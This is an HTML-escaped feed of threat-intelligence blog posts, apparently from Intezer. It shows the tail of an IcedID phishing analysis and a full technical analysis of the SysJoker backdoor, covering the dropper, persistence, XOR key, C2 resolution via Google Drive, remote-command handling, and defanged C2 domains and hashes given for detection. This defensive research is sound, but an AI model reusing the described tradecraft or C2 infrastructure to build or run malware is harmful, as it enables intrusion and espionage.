15.02.0464.005; Thu, 10 Mar 2022 14:34:29 &amp;#43;0100
…
X-MS-Exchange-Organization-AuthAs: Internal
X-MS-Exchange-Organization-AuthMechanism: 04
X-MS-Exchange-Organization-AuthSource: ExchSrv01.[REDACTED].local
X-MS-Has-Attach: yes
X-MS-Exchange-Organization-SCL: -1
X-MS-Exchange-Organization-RecordReviewCfmType: 0
x-ms-exchange-organization-originalclientipaddress: 172.29.5.131
x-ms-exchange-organization-originalserveripaddress: fe80::b148:8e7:61f8:61b4%6&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We didn&amp;rsquo;t manage to find a corresponding public IP address for this Exchange
server and it is not known to us how it was accessed by the threat actor. The
only thing we managed to find was a &lt;a href="https://roundcube.net/"target="_blank" rel="noopener"&gt;roundcube&lt;/a&gt; webmail
instance. The login page is shown in the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;One of the headers in the snippet above reported that the client connected to
the server via MAPI.
&lt;a href="https://docs.microsoft.com/en-us/exchange/clients/mapi-mailbox-access?view=exchserver-2019"target="_blank" rel="noopener"&gt;MAPI&lt;/a&gt;
is a protocol used (for example, by Outlook) to access the mailbox on an
Exchange server. This suggests that the threat actor used an Exchange client
instead of using SMTP to send the email. We have also seen the header
&lt;code&gt;X-Mailer: Microsoft Outlook 16.0&lt;/code&gt; in multiple phishing emails. In other
phishing emails a &lt;code&gt;X-Originating-IP&lt;/code&gt; header can be found. This is a header
added by the Exchange server when the web interface is used. The IP address in
the header is that of the client that connected to the server. We have observed
both hosting providers and non-commercial IP addresses for the client IP.&lt;/p&gt;
&lt;h2&gt;Attribution&lt;span class="hx:absolute hx:-mt-20" id="attribution"&gt;&lt;/span&gt;
&lt;a href="#attribution" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In June 2021, Proofpoint released a
&lt;a href="https://www.proofpoint.com/uk/blog/threat-insight/first-step-initial-access-leads-ransomware"target="_blank" rel="noopener"&gt;report&lt;/a&gt;
on different access brokers that facilitates access for ransomware groups. Of
the different threat actors, according to Proofpoint, two of them (TA577 and
TA551) used IcedID as their malware. The techniques used by TA551 include
&lt;a href="https://www.proofpoint.com/us/blog/security-briefs/ta551-uses-sliver-red-team-tool-new-activity"target="_blank" rel="noopener"&gt;conversation hijacking&lt;/a&gt;
and
&lt;a href="https://www.mandiant.com/resources/melting-unc2198-icedid-to-ransomware-operations"target="_blank" rel="noopener"&gt;password&lt;/a&gt;
&lt;a href="https://unit42.paloaltonetworks.com/ta551-shathak-icedid/"target="_blank" rel="noopener"&gt;protected&lt;/a&gt;
&lt;a href="https://unit42.paloaltonetworks.com/ta551-shathak-icedid/"target="_blank" rel="noopener"&gt;zip&lt;/a&gt; files. The
group is also
&lt;a href="https://www.bitdefender.fr/files/News/CaseStudies/study/391/IceID-CREAT-5156.pdf"target="_blank" rel="noopener"&gt;known&lt;/a&gt;
to use &lt;code&gt;regsvr32.exe&lt;/code&gt; for signed binary proxy execution for malicious DLLs.&lt;/p&gt;
&lt;h2&gt;Summary&lt;span class="hx:absolute hx:-mt-20" id="summary"&gt;&lt;/span&gt;
&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The use of conversation hijacking is a powerful social engineering technique
that can increase the rate of a successful phishing attempt. The payload has
been moved away from office documents to the use of ISO files, employing the
use of commodity packers and multiple stages to hide activity. It is important
to be able to detect malicious files in memory to detect this type of attack.
We recommend you use an
&lt;a href="https://docs.intezer.com/hc/en-us/articles/360021350340-Conduct-Live-Endpoint-Analysis"target="_blank" rel="noopener"&gt;endpoint scanner&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/03/conversation-hijacking-campaign-delivering-icedid/images/fig14.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;ISO File:
3542d5179100a7644e0a747139d775dbc8d914245292209bc9038ad2413b3213
Loader DLL:
698a0348c4bb8fffc806a1f915592b20193229568647807e88a39d2ab81cb4c2
LNK File:
a17e32b43f96c8db69c979865a8732f3784c7c42714197091866473bcfac8250
IcedID GZiploader Network:
yourgroceries[.]top&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>New SysJoker Backdoor Targets Windows, Linux, and macOS</title><link>https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/</link><pubDate>Tue, 11 Jan 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/</guid><description>
&lt;p&gt;Malware targeting multiple operating systems has become no exception in the
malware threat landscape.
&lt;a href="../../../2021/09/vermilionstrike-reimplementation-cobaltstrike"&gt;Vermilion Strike&lt;/a&gt;,
which was documented just last September, is among the latest examples until
now.&lt;/p&gt;
&lt;p&gt;In December 2021, we discovered a new multi-platform backdoor that targets
Windows, Mac, and Linux. The Linux and Mac versions are fully undetected in
VirusTotal. We named this backdoor &lt;strong&gt;SysJoker&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;SysJoker was first discovered during an active attack on a Linux-based web
server of a leading educational institution. After further investigation, we
found that SysJoker also has Mach-O and Windows PE versions. Based on Command
and Control (C2) domain registration and samples found in VirusTotal, we
estimate that the SysJoker attack was initiated during the second half of 2021.&lt;/p&gt;
&lt;p&gt;SysJoker masquerades as a system update and generates its C2 by decoding a
string retrieved from a text file hosted on Google Drive. During our analysis
the C2 changed three times, indicating the attacker is active and monitoring
for infected machines. Based on victimology and malware&amp;rsquo;s behavior, we assess
that SysJoker is after specific targets.&lt;/p&gt;
&lt;p&gt;SysJoker was uploaded to VirusTotal with the suffix .ts which is used for
&lt;a href="https://en.wikipedia.org/wiki/TypeScript"target="_blank" rel="noopener"&gt;TypeScript&lt;/a&gt; files. A possible attack
vector for this malware is via an infected npm package.&lt;/p&gt;
&lt;p&gt;Below we provide a technical analysis of this malware together with IoCs and
detection and response mitigations.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of SysJoker&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-sysjoker"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-sysjoker" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware is written in C++ and each sample is tailored for the specific
operating system it targets. Both the macOS and Linux samples are fully
undetected in VirusTotal.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig1.png" title="e06e06752509f9cd8bc85aa1aa24dba2 in VirusTotal targeting Mac M1 processor" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;e06e06752509f9cd8bc85aa1aa24dba2 in VirusTotal targeting Mac M1 processor&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Behavioral Analysis&lt;span class="hx:absolute hx:-mt-20" id="behavioral-analysis"&gt;&lt;/span&gt;
&lt;a href="#behavioral-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SysJoker&amp;rsquo;s behavior is similar for all three operating systems. We will analyze
SysJoker&amp;rsquo;s behavior on Windows.&lt;/p&gt;
&lt;p&gt;Unlike Mac and Linux samples, the Windows version contains a first-stage
dropper. The dropper (&lt;code&gt;d71e1a6ee83221f1ac7ed870bc272f01&lt;/code&gt;) is a DLL that was
uploaded to VirusTotal as &lt;code&gt;style-loader.ts&lt;/code&gt; and has only 6 detections at the
time of this writing.&lt;/p&gt;
&lt;p&gt;The Dropper drops a zipped SysJoker (&lt;code&gt;53f1bb23f670d331c9041748e7e8e396&lt;/code&gt;) from
C2 &lt;code&gt;https[://]github[.]url-mini[.]com/msg.zip&lt;/code&gt;, copies it to
&lt;code&gt;C:\ProgramData\RecoverySystem\recoveryWindows.zip&lt;/code&gt;, unzips it and executes
it. All of these actions are executed via PowerShell commands.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig2.png" title="Process tree showing PowerShell commands." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process tree showing PowerShell commands.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Once SysJoker (&lt;code&gt;d90d0f4d6dad402b5d025987030cc87c&lt;/code&gt;) is executed it sleeps for a
random duration between 90 to 120 seconds. Then, it will create the
&lt;code&gt;C:\ProgramData\SystemData&lt;/code&gt; directory and copy itself under this directory,
masquerading as &lt;code&gt;igfxCUIService.exe&lt;/code&gt; (igfxCUIService stands for Intel Graphics
Common User Interface Service). Next, it will gather information about the
machine using Living off the Land (LOtL) commands. SysJoker uses different
temporary text files to log the results of the commands. These text files are
deleted immediately, stored in a JSON object, and then encoded and written to a
file named &lt;code&gt;microsoft_windows.dll&lt;/code&gt;. The figure below shows the JSON object
built in memory by SysJoker.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig3.png" title="JSON object built in memory by SysJoker." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;JSON object built in memory by SysJoker.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;It will gather the MAC address, user name, physical media serial number, and IP
address (see IoCs section for the full commands list). SysJoker will create
persistence by adding an entry to the registry run key
&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;. Between each
of the steps above, the malware sleeps for a random duration.&lt;/p&gt;
&lt;p&gt;The following screenshot shows the processes tree and commands.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig4.png" title="Processes tree and commands." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Processes tree and commands.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Next, SysJoker will begin its C2 communication.&lt;/p&gt;
&lt;h3&gt;Decoding/Encoding Scheme&lt;span class="hx:absolute hx:-mt-20" id="decodingencoding-scheme"&gt;&lt;/span&gt;
&lt;a href="#decodingencoding-scheme" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SysJoker holds within the binary a hardcoded XOR key which is used for decoding
and encoding strings from within the binary and data sent and received from the
C2. The XOR key is an RSA public key that is not used in the decoding scheme.
The same XOR key exists in all versions of SysJoker:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDkfNl&amp;#43;Se7jm7sGSrSSUpV3HUl3vEwuh&amp;#43;xn4q
BY6aRFL91x0HIgcH2AM2rOlLdoV8v1vtG1oPt9QpC1jSxShnFw8evGrYnqaou7gLsY5J2B06eq5UW7
&amp;#43;OXgb77WNbU90vyUbZAucfzy0eF1HqtBNbkXiQ6SSbquuvFPUepqUEjUSQIDAQAB&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Resolving C2&lt;span class="hx:absolute hx:-mt-20" id="resolving-c2"&gt;&lt;/span&gt;
&lt;a href="#resolving-c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;To get an available C2 and start communication, SysJoker first decodes a
hardcoded Google Drive link.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig6.png" title="Decoding with CyberChef." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoding with CyberChef.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Decoded with &lt;a href="https://gchq.github.io/CyberChef/"target="_blank" rel="noopener"&gt;CyberChef&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The Google Drive link hosts a text file named domain.txt that holds an encoded
C2. The text file&amp;rsquo;s content changes over time, depending on the current
available C2. SysJoker will decode the C2 and send the collected user&amp;rsquo;s
information to the C2&amp;rsquo;s &lt;code&gt;/api/attach&lt;/code&gt; directory as an initial handshake. The C2
replies with a unique token which will be used as an identifier from now on
when the malware communicates with the C2.&lt;/p&gt;
&lt;h3&gt;C2 Instructions&lt;span class="hx:absolute hx:-mt-20" id="c2-instructions"&gt;&lt;/span&gt;
&lt;a href="#c2-instructions" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SysJoker runs a while(1) loop that sends a request to the C2&amp;rsquo;s /api/req
directory with the unique token and will process the C2&amp;rsquo;s response which is
built as JSON using functions from &lt;a href="https://github.com/nlohmann/json"target="_blank" rel="noopener"&gt;this library&lt;/a&gt;. This is how SysJoker pings the
C2 for instructions (see step 2 in the image below):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;If the server responds with data, SysJoker will parse the received payload (see
step 3 in the image below). SysJoker can receive the following instruction from
the C2: exe, cmd, remove_reg, and exit.&lt;/p&gt;
&lt;p&gt;The following image shows the flow of SysJoker&amp;rsquo;s communication with the C2.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;remove_reg&lt;/code&gt; and &lt;code&gt;exit&lt;/code&gt; are not implemented in this current version. Based on
the instruction names, we can assume that they are in charge of self-deletion
of the malware. Let&amp;rsquo;s look into exe and cmd instructions:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exe&lt;/code&gt; – This command is in charge of dropping and running an executable.
SysJoker will receive a URL to a zip file, a directory for the path the file
should be dropped to, and a filename that the malware should use on the
extracted executable. It will download this file, unzip it and execute it.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig9.png" title="IDA code snippet of the parsing function, if exe part." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDA code snippet of the parsing function, if exe part.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After execution, the malware will reply to the C2&amp;rsquo;s &lt;code&gt;/api/req/res&lt;/code&gt; API with
either &amp;ldquo;success&amp;rdquo; if the process went successful or &amp;ldquo;exception&amp;rdquo; if not (step 4
in the image above).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig10.png" title="IDA code snippet of the parsing function, building response status." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDA code snippet of the parsing function, building response status.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cmd&lt;/code&gt; – This instruction is in charge of running a command and uploading its
response to the C2. SysJoker will decode the command, execute it and upload the
command&amp;rsquo;s response to the C2 via &lt;code&gt;/api/req/res&lt;/code&gt; API (step 4 in the image
above).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig11.png" title="IDA code snippet of the parsing function, building cmd command response." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDA code snippet of the parsing function, building cmd command response.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;During our analysis, the C2 hasn&amp;rsquo;t responded with a next stage instruction.&lt;/p&gt;
&lt;h2&gt;Detection &amp;amp; Response&lt;span class="hx:absolute hx:-mt-20" id="detection--response"&gt;&lt;/span&gt;
&lt;a href="#detection--response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;To detect if a machine in your organization has been compromised, we recommend
taking the following steps:&lt;/p&gt;
&lt;p&gt;Use memory scanners to detect SysJoker payload in memory.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For Linux machines, use Intezer Protect to gain full runtime visibility over
the code in your Linux-based systems and get alerted on any malicious or
unauthorized code. We have a free community edition.&lt;/li&gt;
&lt;li&gt;For Windows machines, use Intezer&amp;rsquo;s Endpoint Scanner. The Endpoint Scanner
will provide you with visibility into the type and origin of all binary code
that resides in your machine&amp;rsquo;s memory. The figure below shows an example of
an endpoint infected with SysJoker:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Use detection content to search in your EDR or SIEM. We provided you with IoCs
and a rich list of detection content for each operating system below. Use these
with your EDR to hunt for infected machines. We will publish a dedicated blog
soon discussing how to use detection content for detecting SysJoker.&lt;/p&gt;
&lt;p&gt;If you have been compromised, take the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kill the processes related to SysJoker, delete the relevant persistence
mechanism, and all files related to SysJoker (see detection content section
below)&lt;/li&gt;
&lt;li&gt;Make sure that the infected machine is clean by running a memory scanner&lt;/li&gt;
&lt;li&gt;Investigate the initial entry point of the malware. If a server was infected
with SysJoker, in the course of this investigation, check:
&lt;ul&gt;
&lt;li&gt;Configuration status and password complexity for publicly facing services&lt;/li&gt;
&lt;li&gt;Used software versions and possible known exploits&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SysJoker&amp;rsquo;s Linux and Windows versions are now indexed in Intezer Analyze.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Final Points&lt;span class="hx:absolute hx:-mt-20" id="final-points"&gt;&lt;/span&gt;
&lt;a href="#final-points" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;There are indications that SysJoker attack is performed by an advanced threat
actor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The fact that the code was written from scratch and hasn&amp;rsquo;t been seen before
in other attacks. On top of that, it is rare to find previously unseen Linux
malware in a live attack.&lt;/li&gt;
&lt;li&gt;The attacker registered at least 4 different domains and wrote from scratch
the malware for three different operating systems.&lt;/li&gt;
&lt;li&gt;During our analysis, we haven&amp;rsquo;t witnessed a second stage or command sent from
the attacker. This suggests that the attack is specific which usually fits
for an advanced actor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Based on the malware&amp;rsquo;s capabilities we assess that the goal of the attack is
espionage together with lateral movement which might also lead to a ransomware
attack as one of the next stages.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;ELF&lt;span class="hx:absolute hx:-mt-20" id="elf"&gt;&lt;/span&gt;
&lt;a href="#elf" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;bd0141e88a0d56b508bc52db4dab68a49b6027a486e4d9514ec0db006fe71eed
d028e64bf4ec97dfd655ccd1157a5b96515d461a710231ac8a529d7bdb936ff3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Mac&lt;span class="hx:absolute hx:-mt-20" id="mac"&gt;&lt;/span&gt;
&lt;a href="#mac" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;1a9a5c797777f37463b44de2b49a7f95abca786db3977dcdac0f79da739c08ac
fe99db3268e058e1204aff679e0726dc77fd45d06757a5fda9eafc6a28cfb8df
d0febda3a3d2d68b0374c26784198dc4309dbe4a8978e44bb7584fd832c325f0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows"&gt;&lt;/span&gt;
&lt;a href="#windows" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;61df74731fbe1eafb2eb987f20e5226962eeceef010164e41ea6c4494a4010fc
1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c
d476ca89674c987ca399a97f2d635fe30a6ba81c95f93e8320a5f979a0563517
36fed8ab1bf473714d6886b8dcfbcaa200a72997d50ea0225a90c28306b7670e&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;C2&lt;span class="hx:absolute hx:-mt-20" id="c2"&gt;&lt;/span&gt;
&lt;a href="#c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;https[://]bookitlab[.]tech
https[://]winaudio-tools[.]com
https[://]graphic-updater[.]com
https[://]github[.]url-mini[.]com
https[://]office360-update[.]com
https[://]drive[.]google[.]com/uc?export=download&amp;amp;id=1-NVty4YX0dPHdxkgMrbdCldQCpCaE-Hn
https[://]drive[.]google[.]com/uc?export=download&amp;amp;id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
